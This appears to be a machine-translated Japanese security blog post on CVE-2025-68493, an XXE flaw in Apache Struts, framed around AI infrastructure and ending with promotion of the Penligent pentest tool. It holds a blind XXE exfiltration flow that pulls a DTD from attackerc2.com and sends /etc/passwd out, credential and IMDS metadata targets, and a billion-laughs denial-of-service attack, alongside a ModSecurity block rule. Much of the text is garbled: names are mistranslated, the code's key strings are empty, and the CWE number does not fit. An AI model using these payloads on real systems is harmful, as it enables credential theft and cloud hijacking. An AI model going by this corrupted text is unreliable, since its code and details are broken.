急速に進化するジェネレーティブAIの世界では、セキュリティ・エンジニアはしばしば、プロンプト・インジェクション、ジェイルブレーキング、データ・ポイズニングといったモデル特有の脅威をトンネル・ビジョンで見ている。しかし CVE-2025-68493 最先端モデルを包むレガシー・インフラストラクチャーは、往々にして最も弱いリンクなのだ。
この記事では、Apache Strutsに発見された重大な脆弱性の技術的解剖を行う。 エックスワークコア コンポーネントを使用します。その根本原因をコード・レベルで分析し、MLOpsパイプラインに壊滅的な打撃を与える可能性を探り、即時のパッチ適用からAI主導の自動防御に至るまで、様々な改善策について議論する。

CVE-2025-68493の技術解剖
Apache Strutsには、OGNLインジェクションによるリモートコード実行(RCE)の悪名高い歴史がある(Equifaxの例)、 CVE-2025-68493 は別のベクトルを攻撃する:XML解析ロジックである。
脆弱性の範囲
- コンポーネント
エックスワークコア(Struts 2の基礎となるコマンドパターン・フレームワーク)。 - 脆弱性の種類 CWE-112] XML Validation の欠落による XML External Entity (XXE) インジェクション。
- 影響を受けるバージョン Apache Struts 2.0.0 - 6.1.0。
- CVSS v3.1スコア 9.8(クリティカル).
根本原因分析
この脆弱性は XWorkConverter と、特定のコンフィギュレーション記述子を扱う。フレームワークが コンテントタイプ:application/xmlペイロードをデシリアライズするために、基礎となるXMLパーサー(多くの場合、StrutsによってラップされたXerces)がインスタンス化されます。
影響を受けるバージョンでは ドムヘルパー クラスは、DTD(文書型定義)処理と外部エンティティ解決をデフォルトで明示的に無効にしていません。
セキュアな実装には、特定の機能フラグを DocumentBuilderFactory.にこれらのフラグがない。 CVE-2025-68493 が開口部を作る:
ジャワ
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("", true); // Missing: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // トリガーポイント
これらのガードレールがなければ、攻撃者はDOCTYPEヘッダーに悪意のあるエンティティを定義し、サーバーに解決させることができる。
AIとMLOpsのインフラにとって重要な理由
と尋ねるかもしれない: "推論にはPython/PyTorchを使う。なぜJavaフレームワークの脆弱性が問題なのか?"
エンタープライズAIの現実はハイブリッドだ。モデルはコンテナ化されたPython環境で実行されるが オーケストレーション層, APIゲートウェイそして レガシーデータレイク これらのモデルは、StrutsやSpringのような成熟したJavaスタック上に構築されることが多い。
CVE-2025-68493は、AIシステムに3つの特定のリスクをもたらす:
1.モデルの重みとデータセットの流出(LFI)
XXE攻撃は、ローカルファイルインクルードを可能にします。Strutsアプリケーションがファイルシステムへの読み取りアクセス権を持っている場合(非rootユーザーコンテナではよくある)、攻撃者は設定ファイルを読み取ることができます。
- ターゲット
/root/.huggingface/tokenまたはaws_credentials. - インパクトがある: 攻撃者は、S3バケットから独自のチェックポイントやプライベートデータセットを引き出すために必要な認証情報を盗む。
2.メタデータサービスに対するSSRF(クラウドジャッキング)
これはクラウドネイティブAIにとって最も重要なベクトルだ。XMLパーサーにHTTPリクエストをさせることで、攻撃者はインスタンス・メタデータ・サービス(IMDS)を攻撃することができる。
- ペイロードターゲット
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - インパクトがある: EC2インスタンスにアタッチされたIAMロールを盗む。AIクラスタでは、これらのロールは高価なGPUインスタンス(P4/P5インスタンス)をプロビジョニングするための幅広い権限を持っていることが多く、暗号マイニングや不正なトレーニングのためのリソースハイジャックにつながる。
3.サービス拒否(億笑攻撃)
AI推論サーバーはリソースを大量に消費します。CVE-2025-68493を介して送信された再帰的なエンティティ拡張攻撃("Billion Laughs")は、サーバーのメモリを使い果たし、オーケストレーションノードをクラッシュさせ、AIサービスの可用性を中断させる可能性があります。
攻撃ベクトルシミュレーション:概念実証
以下は、攻撃者がこの脆弱性をどのように悪用するかの技術的な再現である。
シナリオ レガシーなStrutsアクションは、レコメンデーションエンジンにデータを渡す前に、ユーザープロファイルを解析するために使われる。
リクエストヘッダ:
HTTP
POST /struts2-showcase/person/create.action HTTP/1.1 Host: vulnerable-ai-gateway.corp Content-Type: application/xml
悪意のあるペイロード(帯域外流出を伴うブラインドXXE):
最近の多くのセットアップでは、サーバーのレスポンスはサニタイズされており、HTTPレスポンスに直接ファイルのコンテンツが表示されることはありません(ブラインドXXE)。攻撃者は制御されたサーバにデータを送るためにパラメータ・エンティティを使います。
XML
<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote; ]> John Doe &exfiltrate; >
内容 eval.dtd 攻撃者サーバーでホストされている:
XML
<!ENTITY % eval ""> %eval;
実行の流れ:
- StrutsパーサはメインのXMLを読み込む。
- から外部DTDを取得します。
アタッカーc2.com. - 外部DTDを解析し、次のように指示する。
/etc/passwd. - の内容を送信する。
/etc/passwdをURLパラメータとして攻撃者のサーバーに戻す。

検出と修復戦略
即時緩和(「出血を止める」段階)
パッチをすぐに導入できない場合は、イングレスコントローラーで厳格なWAF(Webアプリケーションファイアウォール)ルールを適用する必要があります。
ModSecurityルールの例:
アパッチ
SecRule REQUEST_BODY "(?i)<!DOCTYPE"\\ id:1001,phase:2,t:none,log,deny,status:403,msg:'Potential XML Injection Detected (CVE-2025-68493)'"
注:これは鈍器である。すべてのDTDをブロックするので、正当なSOAPエンドポイントが壊れる可能性がある。まずステージングでテストしてください。
オフィシャル・フィックス
へのアップグレード Apache Struts 6.1.1+.Apache チームは エックスワークコア を使用して、デフォルトで外部エンティティを無視します。アップグレードを確認するには struts2コア JARのバージョンを WEB-INF/lib またはMaven依存性ツリー。
| 依存 | 脆弱バージョン | パッチ版 |
|---|---|---|
struts2コア | < 6.1.1 | 6.1.1+ |
エックスワークコア | < 6.1.1 | 6.1.1+ |
セキュリティの拡大:脆弱性検証におけるAIの役割
複雑なマイクロサービス・アーキテクチャでは、(NessusやOpenVASのような)脆弱性スキャナーを実行するだけで、膨大なノイズが発生する。スキャナーはバージョン番号には一致するが、特定の 構成 は悪用可能である。これは、セキュリティチームに「アラート疲労」をもたらす。
ここからパラダイムがシフトする。 スタティック・スキャン への エージェントによる侵入テスト.
Penligentによる自動搾取
現代のセキュリティには、攻撃者のように「考える」ツールが必要だ。 ペンリジェント (ペンリジェント・アイ) は次世代の自動ペネトレーションテストプラットフォームです。正規表現マッチングを使用する従来のスキャナーとは異なり、Penligentはアプリケーションのコンテキストを理解するためにLLM駆動型のエージェントを使用します。
PenligentがCVE-2025-68493をどのように扱うか:
- 文脈的発見: ペンリジェントは
コンテントタイプ:application/xmlたとえそれが文書化されていなかったり、複雑なAPIルートに隠されていたとしてもである。 - インテリジェントなペイロード構造: Penligentエージェントは、一般的なペイロードを散布する代わりに、アプリケーションの動作を分析する。Strutsのシグネチャを検出した場合、CVE-2025-68493に対する特定のPoCを構築する。
- 安全な検証: エージェントは、機密ファイルを読み取るのではなく、良性のインタラクション(例えば、XXEを介したDNSルックアップ)をトリガーしようとするため、データのプライバシーを危険にさらすことなく悪用可能であることが証明される。
- 偽陽性の排除: 実行パスを検証することで、Penligentはノイズをフィルタリングします。ライブラリが存在するが、XMLパーサが安全に設定されている場合、Penligentはそれを「安全」とマークし、チームの調査時間を節約します。
何百ものサービスを管理するチームにとって、次のようなことが可能になります。 "Penligentは300のサービスを検証したが、実際に悪用可能なのは2つだけ" 混沌とした週末と管理されたパッチサイクルの違いである。
結論
CVE-2025-68493 これは脆弱性報告書の単なる項目の一つではなく、多くのエンタープライズAIプラットフォームの基盤における構造的な弱点である。レガシーなJavaコンポーネントからクラウドのメタデータサービスを制御することまで可能であるため、これはTier-1の脅威となる。
セキュリティ・エンジニアは、「パッチを当てて祈る」手法を超えなければならない。低レベルのXML解析の仕組みを理解し、PenligentのようなAIを搭載した攻撃ツールを活用することで、私たちが構築したモデルと同様に、私たちのインフラが回復力を維持することを確実にすることができる。
次のステップへ
SBOM(ソフトウェア部品表)に6.1.1未満のstruts2-coreのバージョンがないか、今すぐ監査してください。発見された場合、直ちにコンテナを隔離し、インシデント対応プロトコルを開始してください。
参考文献

